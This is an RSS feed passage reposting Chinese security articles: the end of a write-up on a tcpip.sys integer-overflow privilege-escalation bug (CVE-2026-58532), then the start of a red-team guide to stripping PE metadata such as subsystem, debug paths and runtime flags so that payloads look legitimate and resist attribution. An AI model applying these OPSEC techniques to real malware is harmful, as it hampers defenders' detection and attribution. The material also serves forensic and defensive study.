报告了此漏洞。微软随后确认了该行为，将其归类为权限提升漏洞，并在 2026 年 7 月的安全更新中予以修复。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">该漏洞编号为 CVE-2026-58532，微软以 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="3"><span leaf="">aprilpet</span></code><span leaf="">的名义对我进行了致谢。此外还有一个 NVD 条目。</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); " data-nest-level="2"><span leaf="">TL;DR</span></h2><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="4"><span leaf="">tcpip.sys</span></code><p><span leaf="">信任了一个用户可控的 64 位记录计数值。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">它将该计数值乘以 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;" data-nest-level="4"><span leaf="">0x228</span></code><span leaf="">，却没有检查是否溢出。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">乘积回绕为零，于是一个小小的缓冲区通过了大小检查。</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">反序列化器随后拷贝了根本不存在的记录，并使其剩余长度计数器发生下溢。</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">带检查的运算是枯燥的，但在内核解析器中不做检查，后果只会更加枯燥。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" data-nest-level="2"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;" data-nest-level="3"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://aprl.pet/writing/cve-2026-58532">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9d9a1ba5&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247496724%26idx%3D2%26sn%3D4924dc45a5ea0be611d9d869579d7934">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 27 Jul 2026 10:50:00 +0800</pubDate>
    </item>
    <item>
      <title>PE OopsSec：管好你的 PE，守住你的 OPSEC</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247496722&amp;idx=1&amp;sn=a6809d147f8c889470c11c9f49ddafcf</link>
      <description>本文介绍 PE 文件 12 项 OPSEC 检查要点及 PE-OopsSec 工具套件，涵盖子系统、调试符号、Rich Header、时间戳、IAT、熵值等元数据清理技术。</description>
      <content:encoded><![CDATA[<p><span>Zero Salarium</span> <span>2026-07-26 15:50</span> <span style="display: inline-block;">中国香港</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=6c589f50&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nShnCon8ibdFx8bicJF26Lsz7qibzrJRZoicJNJF5gvWLAeUAf6dNLuichiaHLDj8XOHKMFV6ubHQOv7B6KIUAvYUn5licAhCLF8GvsEVs%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>本文介绍 PE 文件 12 项 OPSEC 检查要点及 PE-OopsSec 工具套件，涵盖子系统、调试符号、Rich Header、时间戳、IAT、熵值等元数据清理技术。</p>
  <table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://www.zerosalarium.com/2026/07/pe-oopssec-mind-your-pe-guard-your-opsec.html" target="_blank">https://www.zerosalarium.com/2026/07/pe-oopssec-mind-your-pe-guard-your-opsec.html</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Zero Salarium</span></p></td></tr></tbody></table><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013024" data-s="300,640" data-type="jpeg" type="block" style="height: auto !important;" data-ratio="0.665625" data-w="320" src="https://wechat2rss.xlab.app/img-proxy/?k=154abcd9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSiaIvWc7LDF1OmhArf00OWj6QqHwTBMgudytnG6AyW7gpjqbP9cYdAEgvy1IQnCjjsM2PMXuH1VSnw3ANdPcNIiaRCjLl3YTHh2Y%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">I. 概述</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">对于从事红队工作或处理恶意软件逆向分析、取证的人来说，Windows PE 文件中的元数据应该并不陌生。攻击者会尝试移除或篡改这些元数据，使文件看起来更合法或留下尽可能少的痕迹。而防御者则寻找此类信息来追踪活动、聚类关联恶意软件，甚至追溯到犯罪团伙。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在本文中，我将介绍 Windows PE 文件的操作安全（OPSEC）技术，同时发布一套工具包，帮助检查红队和蓝队经常依赖的最常见元数据工件。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">本文的目标是为红队开发者和游戏开发者在将产品部署到真实环境之前，提供最后一道检查关口。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">II. 主体部分</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">首先，我想介绍一下我刚刚为 PE 文件 OPSEC 开发的工具集。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">该工具名为 </span><strong><span leaf="">PE-OopsSec</span></strong><span leaf="">，由若干小工具组成，每个工具都有不同的功能。借助这套工具包，我将逐一拆解红队和蓝队需要关注的 PE 文件记录。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">本文主要聚焦于使用 Visual Studio 生成的 PE 文件。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">GitHub：<a href="https://github.com/TwoSevenOneT/PE-OopsSec" target="_blank">https://github.com/TwoSevenOneT/PE-OopsSec</a></span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">1. PE 文件可选头：子系统</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">PE 文件可选头中的 </span><strong><span leaf="">Subsystem</span></strong><span leaf="">（子系统）字段告诉 Windows 操作系统如何运行该程序。两种主要类型是 </span><strong><span leaf="">Windows GUI</span></strong><span leaf="">（图形用户界面）和 </span><strong><span leaf="">Windows CUI</span></strong><span leaf="">（控制台用户界面）。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">当我们在运行载荷时，尤其是在与用户共享同一会话的场景下，载荷通常需要将头部的 Subsystem 标志编译为&#34;</span><strong><span leaf="">GUI</span></strong><span leaf="">&#34;，以确保命令提示符窗口被隐藏且不会弹出。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">为了更加隐蔽，我们可以使用 WinMain() 函数代替 main()，并创建一些图形元素（对话框、UI 窗口），使载荷看起来与正常的 GUI 程序完全一致。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">Visual Studio</span></strong><span leaf="">：项目属性 =&gt; 链接器 =&gt; 系统 =&gt; 子系统</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">PE-OopsSec</span></strong><span leaf="">套件中的 </span><strong><span leaf="">PECheck</span></strong><span leaf="">工具可以帮助我们确定文件运行在哪种 </span><strong><span leaf="">Subsystem</span></strong><span leaf="">之下。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013025" data-s="300,640" data-type="png" type="block" style="height: auto !important;" data-ratio="0.415" data-w="400" src="https://wechat2rss.xlab.app/img-proxy/?k=6e2d4a25&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nShCE2Z8yBdplphCtjt0gwTFYpkOAGBjbD8Xc19ynNx4iak3Ogg7rQsia7beOFdvib4SzXPuo3ceq8QEbicCVvt3JztOwSuFtkh5zn4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"></figure><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">2. PE 头：调试符号</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">Debug Symbol</span></strong><span leaf="">（调试符号）PE 文件头问题，是指软件开发者在编译 Windows 可执行文件（PE 文件）时不慎遗留了内部调试信息。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这发生在程序以 </span><strong><span leaf="">Debug</span></strong><span leaf="">模式而非 Release 模式编译时，或者在分发前未剥离调试符号的情况下。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">保留此头部会将高度敏感的元数据暴露给逆向工程师、威胁情报分析师或对手：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><strong style="margin-top: 0px;"><span leaf="">泄露用户名</span></strong><p><span leaf="">：PDB 路径通常包含</span><strong style="margin-bottom: 0px;"><span leaf="">开发者的本地用户名</span></strong><span leaf="">（例如，C:Usersjohn_doeDocumentsSecretProject...）。</span></p></li><li style="margin: 15px 0px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">暴露内部基础设施</span></strong><p><span leaf="">：它泄露了文件夹层级结构、驱动器号，以及网络共享或构建服务器的内部命名约定。</span></p></li><li style="margin: 15px 0px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">披露源代码结构</span></strong><p><span leaf="">：它揭示了原始源文件名、所使用的外部库和项目组织结构。</span></p></li><li style="margin: 15px 0px 0px;"><strong style="margin-top: 0px;"><span leaf="">识别威胁行为者</span></strong><p><span leaf="">：在恶意软件分析中，防御者经常利用此元数据，基于</span><strong style="margin-bottom: 0px;"><span leaf="">独特的命名模式和语言特征</span></strong><span leaf="">将攻击归因于特定组织或个人。</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">Visual Studio（C/C++）</span></strong><span leaf="">：项目属性 =&gt; 链接器 =&gt; 调试 =&gt; 将&#34;生成调试信息&#34;设置为&#34;否&#34;</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">继续使用 </span><strong><span leaf="">PE-OopsSec</span></strong><span leaf="">套件中的 </span><strong><span leaf="">PECheck</span></strong><span leaf="">工具检查调试符号。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013026" data-s="300,640" data-type="png" type="block" style="height: auto !important;" data-ratio="0.36" data-w="400" src="https://wechat2rss.xlab.app/img-proxy/?k=799a4d06&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nShkb6GSh5vD8vRQUiaftibK5ibpLWmSk32NRWfI0rUEoNgI7T69rWmFIkC1z0fHOzvtdaNtqRx2Tjbjq0ViaAhxscJI3mGflJDsRXY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"></figure><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">3. 构建标志：用 /MT 而非 /MD 或 /MTD</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">虽然 </span><strong><span leaf="">/MT（静态发布版）</span></strong><span leaf="">对于隐蔽载荷存在一些 OPSEC 缺陷，但它之所以存在，是因为它在可靠性和部署速度方面提供了巨大的操作优势。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">消除 DLL 缺失问题：摆脱令人头疼的&#34;</span><strong><span leaf="">VCRUNTIME140.dll not found</span></strong><span leaf="">&#34;错误。你是否遇到过这种情况？载荷在开发机上运行正常，但到了实际目标环境却无法运行。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">/MT</span></strong><span leaf="">将所有内容打包进单个可执行文件，确保它可以在全新安装的 Windows 上运行，而无需 Visual C++ Redistributable 包。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><em><span leaf="">注意：避免在生产中使用带 </span><strong><span leaf="">D</span></strong><span leaf="">的变体（/MTd 或 /MDd），因为这些是 Debug 构建，会添加大量诊断开销。</span></em></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">Visual Studio</span></strong><span leaf="">：属性 =&gt; C/C++ =&gt; 代码生成 =&gt; 运行时库</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013027" data-s="300,640" data-type="png" type="block" style="height: auto !important;" data-ratio="0.4475" data-w="400" 